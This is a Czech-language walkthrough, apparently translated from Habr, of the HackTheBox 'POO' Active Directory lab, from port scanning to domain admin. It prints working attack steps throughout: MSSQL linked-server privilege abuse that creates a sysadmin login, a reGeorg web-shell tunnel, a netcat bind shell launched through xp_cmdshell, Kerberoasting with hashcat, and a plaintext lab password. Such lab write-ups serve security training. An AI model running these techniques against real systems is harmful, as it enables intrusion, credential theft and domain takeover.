HackTheBoxendgame. Průchod laboratoře Professional Offensive Operations. Pentest Active Directory

HackTheBoxendgame. Průchod laboratoře Professional Offensive Operations. Pentest Active Directory

V tomto článku budeme analyzovat průchod nejen stroje, ale celé minilaboratoře z místa HackTheBox.

Jak je uvedeno v popisu, POO je určen k testování dovedností ve všech fázích útoků v malém prostředí Active Directory. Cílem je kompromitovat dostupného hostitele, eskalovat oprávnění a nakonec kompromitovat celou doménu shromážděním 5 příznaků v procesu.

Spojení s laboratoří je přes VPN. Doporučuje se nepřipojovat se z fungujícího počítače nebo z hostitele, kde jsou pro vás důležitá data, protože se dostanete do privátní sítě s lidmi, kteří o informační bezpečnosti něco vědí 🙂

organizační informace
Abyste se mohli dozvědět o nových článcích, softwaru a dalších informacích, vytvořil jsem Telegramový kanál и skupina k prodiskutování jakýchkoli problémů v areálu IIKB. Také vaše osobní požadavky, dotazy, návrhy a doporučení Podívám se a všem odpovím..

Veškeré informace jsou poskytovány pouze pro vzdělávací účely. Autor tohoto dokumentu nepřebírá žádnou odpovědnost za jakékoli škody způsobené komukoli v důsledku použití znalostí a metod získaných studiem tohoto dokumentu.

Úvodní znělka

Tato koncová hra se skládá ze dvou strojů a obsahuje 5 vlajek.

HackTheBoxendgame. Průchod laboratoře Professional Offensive Operations. Pentest Active Directory

Je také uveden popis a adresa dostupného hostitele.

HackTheBoxendgame. Průchod laboratoře Professional Offensive Operations. Pentest Active Directory

Pojďme začít!

Průzkumná vlajka

Tento stroj má IP adresu 10.13.38.11, kterou přidám do /etc/hosts.
10.13.38.11 poo.htb

Prvním krokem je skenování otevřených portů. Protože skenování všech portů pomocí nmap trvá dlouho, udělám to nejprve pomocí masscan. Skenujeme všechny TCP a UDP porty z rozhraní tun0 rychlostí 500pps.

sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500

HackTheBoxendgame. Průchod laboratoře Professional Offensive Operations. Pentest Active Directory

Nyní, abychom získali podrobnější informace o službách, které běží na portech, spusťte skenování s volbou -A.

nmap -A poo.htb -p80,1433

HackTheBoxendgame. Průchod laboratoře Professional Offensive Operations. Pentest Active Directory

Máme tedy služby IIS a MSSQL. V tomto případě zjistíme skutečné DNS jméno domény a počítače. Na webovém serveru nás přivítá domovská stránka IIS.

HackTheBoxendgame. Průchod laboratoře Professional Offensive Operations. Pentest Active Directory

Pojďme iterovat přes adresáře. K tomu používám gobuster. V parametrech udáváme počet streamů 128 (-t), URL (-u), slovník (-w) a rozšíření, která nás zajímají (-x).

gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html

HackTheBoxendgame. Průchod laboratoře Professional Offensive Operations. Pentest Active Directory

Máme tedy k dispozici HTTP autentizaci pro adresář /admin a také soubor úložiště služby .DS_Store. .DS_Store jsou soubory, které ukládají uživatelská nastavení pro složku, jako je seznam souborů, umístění ikon, vybraný obrázek na pozadí. Takový soubor může skončit v adresáři webového serveru webových vývojářů. Získáme tak informace o obsahu adresáře. K tomu můžete použít Prohledávač DS_Store.

python3 dsstore_crawler.py -i http://poo.htb/

HackTheBoxendgame. Průchod laboratoře Professional Offensive Operations. Pentest Active Directory

Získáme obsah adresáře. Nejzajímavější je zde adresář /dev, ze kterého vidíme zdroje a db soubory ve dvou větvích. Ale můžeme použít prvních 6 znaků názvů souborů a adresářů, pokud je služba zranitelná vůči IIS ShortName. Tuto chybu zabezpečení můžete zkontrolovat pomocí IIS shortname Scanner.

HackTheBoxendgame. Průchod laboratoře Professional Offensive Operations. Pentest Active Directory

A najdeme jeden textový soubor, který začíná "poo_co". Nevěděl jsem, co dál, jednoduše jsem ze slovníku adresářů vybral všechna slova, která začínají na „co“.

cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt

A iterujte s wfuzz.

wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404

HackTheBoxendgame. Průchod laboratoře Professional Offensive Operations. Pentest Active Directory

A najděte to správné slovo! Podíváme se na tento soubor, uložíme přihlašovací údaje (soudě podle parametru DBNAME, jsou z MSSQL).

HackTheBoxendgame. Průchod laboratoře Professional Offensive Operations. Pentest Active Directory

Odevzdáváme vlajku a postupujeme o 20 %.

HackTheBoxendgame. Průchod laboratoře Professional Offensive Operations. Pentest Active Directory

Huh vlajka

Připojujeme se k MSSQL, já používám DBeaver.

HackTheBoxendgame. Průchod laboratoře Professional Offensive Operations. Pentest Active Directory

V této databázi nenacházíme nic zajímavého, pojďme vytvořit SQL Editor a zkontrolovat, jací jsou uživatelé.

SELECT name FROM master..syslogins;

HackTheBoxendgame. Průchod laboratoře Professional Offensive Operations. Pentest Active Directory

Máme dva uživatele. Pojďme zkontrolovat naše privilegia.

SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');

HackTheBoxendgame. Průchod laboratoře Professional Offensive Operations. Pentest Active Directory

Neexistují tedy žádná privilegia. Podívejme se na propojené servery, psal jsem o této technice podrobně zde.

SELECT * FROM master..sysservers;

HackTheBoxendgame. Průchod laboratoře Professional Offensive Operations. Pentest Active Directory

Takže najdeme další SQL Server. Pojďme zkontrolovat provádění příkazů na tomto serveru pomocí openquery().

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');

HackTheBoxendgame. Průchod laboratoře Professional Offensive Operations. Pentest Active Directory

A můžeme dokonce vytvořit strom dotazů.

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');

Faktem je, že když odešleme požadavek na propojený server, požadavek se provede v kontextu jiného uživatele! Podívejme se, jaký uživatelský kontext běží na propojeném serveru.

SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');

HackTheBoxendgame. Průchod laboratoře Professional Offensive Operations. Pentest Active Directory

A nyní se podívejme, v jakém kontextu je požadavek z propojeného serveru na náš vykonán!

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');

HackTheBoxendgame. Průchod laboratoře Professional Offensive Operations. Pentest Active Directory

Jedná se tedy o kontext DBO, který musí mít všechna oprávnění. Pojďme zkontrolovat oprávnění v případě požadavku z propojeného serveru.

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');

HackTheBoxendgame. Průchod laboratoře Professional Offensive Operations. Pentest Active Directory

Jak vidíte, máme všechna privilegia! Vytvořme našeho admina takto. Ale nepouštějí je přes openquery, udělejme to přes EXECUTE AT.

EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";

A nyní se připojíme k přihlašovacím údajům nového uživatele, sledujeme novou databázi příznaků.

HackTheBoxendgame. Průchod laboratoře Professional Offensive Operations. Pentest Active Directory

Odevzdáváme tuto vlajku a jdeme dále.

HackTheBoxendgame. Průchod laboratoře Professional Offensive Operations. Pentest Active Directory

Zpětná vlajka

Pojďme získat shell pomocí MSSQL, já používám mssqlclient z balíčku impacket.

mssqlclient.py ralf:[email protected] -db POO_PUBLIC

HackTheBoxendgame. Průchod laboratoře Professional Offensive Operations. Pentest Active Directory

Potřebujeme získat hesla a první věc, se kterou jsme se již setkali, je stránka. Potřebujeme tedy konfiguraci webového serveru (nemůžeme hodit pohodlný shell, firewall zřejmě funguje).

HackTheBoxendgame. Průchod laboratoře Professional Offensive Operations. Pentest Active Directory

Přístup je ale odepřen. Přestože můžeme číst soubor z MSSQL, potřebujeme vědět, jaké programovací jazyky jsou nakonfigurovány. A v adresáři MSSQL zjistíme, že existuje Python.

HackTheBoxendgame. Průchod laboratoře Professional Offensive Operations. Pentest Active Directory

Pak není problém číst soubor web.config.

EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"

HackTheBoxendgame. Průchod laboratoře Professional Offensive Operations. Pentest Active Directory

S nalezenými přihlašovacími údaji přejděte na /admin a vyzvedněte vlajku.

HackTheBoxendgame. Průchod laboratoře Professional Offensive Operations. Pentest Active Directory

HackTheBoxendgame. Průchod laboratoře Professional Offensive Operations. Pentest Active Directory

opěrná vlajka

Ve skutečnosti existují určité nepříjemnosti z používání brány firewall, ale při pohledu do nastavení sítě si všimneme, že se používá také protokol IPv6!

HackTheBoxendgame. Průchod laboratoře Professional Offensive Operations. Pentest Active Directory

Přidejte tuto adresu do /etc/hosts.
dead:babe::1001 poo6.htb
Znovu prohledáme hostitele, ale tentokrát přes IPv6.

HackTheBoxendgame. Průchod laboratoře Professional Offensive Operations. Pentest Active Directory

A služba WinRM je dostupná přes IPv6. Pojďme se spojit s nalezenými přihlašovacími údaji.

HackTheBoxendgame. Průchod laboratoře Professional Offensive Operations. Pentest Active Directory

Na ploše je vlajka, předejte ji.

HackTheBoxendgame. Průchod laboratoře Professional Offensive Operations. Pentest Active Directory

P00ned vlajka

Po rekognoskaci na hostiteli s winpeas nenajdeme nic zvláštního. Poté bylo rozhodnuto znovu vyhledat přihlašovací údaje (na toto téma jsem také psal Článek). Ale nepodařilo se mi získat všechna SPN ze systému přes WinRM.

setspn.exe -T intranet.poo -Q */*

HackTheBoxendgame. Průchod laboratoře Professional Offensive Operations. Pentest Active Directory

Proveďme příkaz přes MSSQL.

HackTheBoxendgame. Průchod laboratoře Professional Offensive Operations. Pentest Active Directory

Tímto způsobem získáme SPN uživatelů p00_hr a p00_adm, což znamená, že jsou zranitelní vůči útoku, jako je Kerberoasting. Zkrátka můžeme získat hashe jejich hesel.

Nejprve musíte získat stabilní shell jménem uživatele MSSQL. Ale protože máme omezený přístup, máme spojení s hostitelem pouze přes porty 80 a 1433. Ale je možné tunelovat provoz přes port 80! K tomu používáme další aplikace. Nahrajeme soubor tunnel.aspx do domovského adresáře webového serveru - C: inetpubwwwroot.

HackTheBoxendgame. Průchod laboratoře Professional Offensive Operations. Pentest Active Directory

Ale když se k němu pokusíme získat přístup, dostaneme chybu 404. To znamená, že soubory *.aspx se nespustí. Chcete-li spustit soubory s těmito příponami, nainstalujte ASP.NET 4.5 následovně.

dism /online /enable-feature /all /featurename:IIS-ASPNET45

HackTheBoxendgame. Průchod laboratoře Professional Offensive Operations. Pentest Active Directory

HackTheBoxendgame. Průchod laboratoře Professional Offensive Operations. Pentest Active Directory

A nyní, když přistupujeme k tunnel.aspx, dostáváme odpověď, že vše je připraveno jít.

HackTheBoxendgame. Průchod laboratoře Professional Offensive Operations. Pentest Active Directory

Spustíme klientskou část aplikace, která bude předávat provoz. Přesměrujeme veškerý provoz z portu 5432 na server.

python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx

HackTheBoxendgame. Průchod laboratoře Professional Offensive Operations. Pentest Active Directory

A používáme proxychains k odesílání provozu jakékoli aplikace prostřednictvím našeho proxy. Pojďme přidat tento proxy do konfiguračního souboru /etc/proxychains.conf.

HackTheBoxendgame. Průchod laboratoře Professional Offensive Operations. Pentest Active Directory

Nyní nahrajeme program na server netcat, se kterým vytvoříme stabilní bind shell, a skript Vyvolejte Kerberoast, se kterým provedeme útok Kerberoasting.

HackTheBoxendgame. Průchod laboratoře Professional Offensive Operations. Pentest Active Directory

Nyní prostřednictvím MSSQL spustíme posluchač.

xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321

HackTheBoxendgame. Průchod laboratoře Professional Offensive Operations. Pentest Active Directory

A připojujeme se přes náš proxy.

proxychains rlwrap nc poo.htb 4321

HackTheBoxendgame. Průchod laboratoře Professional Offensive Operations. Pentest Active Directory

A pojďme získat hashe.

. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt

HackTheBoxendgame. Průchod laboratoře Professional Offensive Operations. Pentest Active Directory

Dále musíte tyto hodnoty hash iterovat. Protože rockyou neměl slovník dat hesel, použil jsem VŠECHNY slovníky hesel poskytované v Seclists. Pro výčet používáme hashcat.

hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force

A najdeme obě hesla, první ve slovníku dutch_passwordlist.txt a druhé v Keyboard-Combinations.txt.

HackTheBoxendgame. Průchod laboratoře Professional Offensive Operations. Pentest Active Directory

HackTheBoxendgame. Průchod laboratoře Professional Offensive Operations. Pentest Active Directory

A tak máme tři uživatele, jdeme na doménový řadič. Nejprve zjistíme jeho adresu.

HackTheBoxendgame. Průchod laboratoře Professional Offensive Operations. Pentest Active Directory

Skvělé, dozvěděli jsme se IP adresu řadiče domény. Pojďme zjistit všechny uživatele domény a také, který z nich je správcem. Chcete-li stáhnout skript pro získání informací PowerView.ps1. Poté se připojíme pomocí evil-winrm, přičemž v parametru -s uvedeme adresář se skriptem. A pak stačí načíst skript PowerView.

HackTheBoxendgame. Průchod laboratoře Professional Offensive Operations. Pentest Active Directory

Nyní máme přístup ke všem jeho funkcím. Uživatel p00_adm vypadá jako privilegovaný uživatel, takže budeme pracovat v jeho kontextu. Vytvořme pro tohoto uživatele objekt PSCredential.

$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass

Nyní budou všechny příkazy Powershell, kde zadáme Creds, provedeny jménem p00_adm. Zobrazme seznam uživatelů a atribut AdminCount.

Get-NetUser -DomainController dc -Credential $Creds | select name,admincount

HackTheBoxendgame. Průchod laboratoře Professional Offensive Operations. Pentest Active Directory

A tak je náš uživatel opravdu privilegovaný. Podívejme se, do jakých skupin patří.

Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds

HackTheBoxendgame. Průchod laboratoře Professional Offensive Operations. Pentest Active Directory

Nakonec potvrdíme, že uživatel je správcem domény. To mu dává právo se vzdáleně přihlásit k řadiči domény. Zkusme se přihlásit s WinRM pomocí našeho tunelu. Byl jsem zmaten chybami vydanými reGeorgem při použití evil-winrm.

HackTheBoxendgame. Průchod laboratoře Professional Offensive Operations. Pentest Active Directory

Pak použijeme jiný, jednodušší, skript pro připojení k WinRM. Otevřete a změňte parametry připojení.

HackTheBoxendgame. Průchod laboratoře Professional Offensive Operations. Pentest Active Directory

Snažíme se připojit a jsme v systému.

HackTheBoxendgame. Průchod laboratoře Professional Offensive Operations. Pentest Active Directory

Ale není tam žádná vlajka. Pak se podívejte na uživatele a zkontrolujte plochy.

HackTheBoxendgame. Průchod laboratoře Professional Offensive Operations. Pentest Active Directory

U mr3ks najdeme vlajku a laboratoř je 100% dokončena.

HackTheBoxendgame. Průchod laboratoře Professional Offensive Operations. Pentest Active Directory

To je vše. Jako zpětnou vazbu uveďte, zda jste se z tohoto článku dozvěděli něco nového a zda byl pro vás užitečný.

Můžete se k nám přidat na Telegram. Najdete tam zajímavé materiály, sloučené kurzy i software. Shromážděme komunitu, ve které budou lidé, kteří rozumí mnoha oblastem IT, pak si můžeme vždy navzájem pomoci v jakýchkoli otázkách IT a bezpečnosti informací.

Zdroj: www.habr.com

Přidat komentář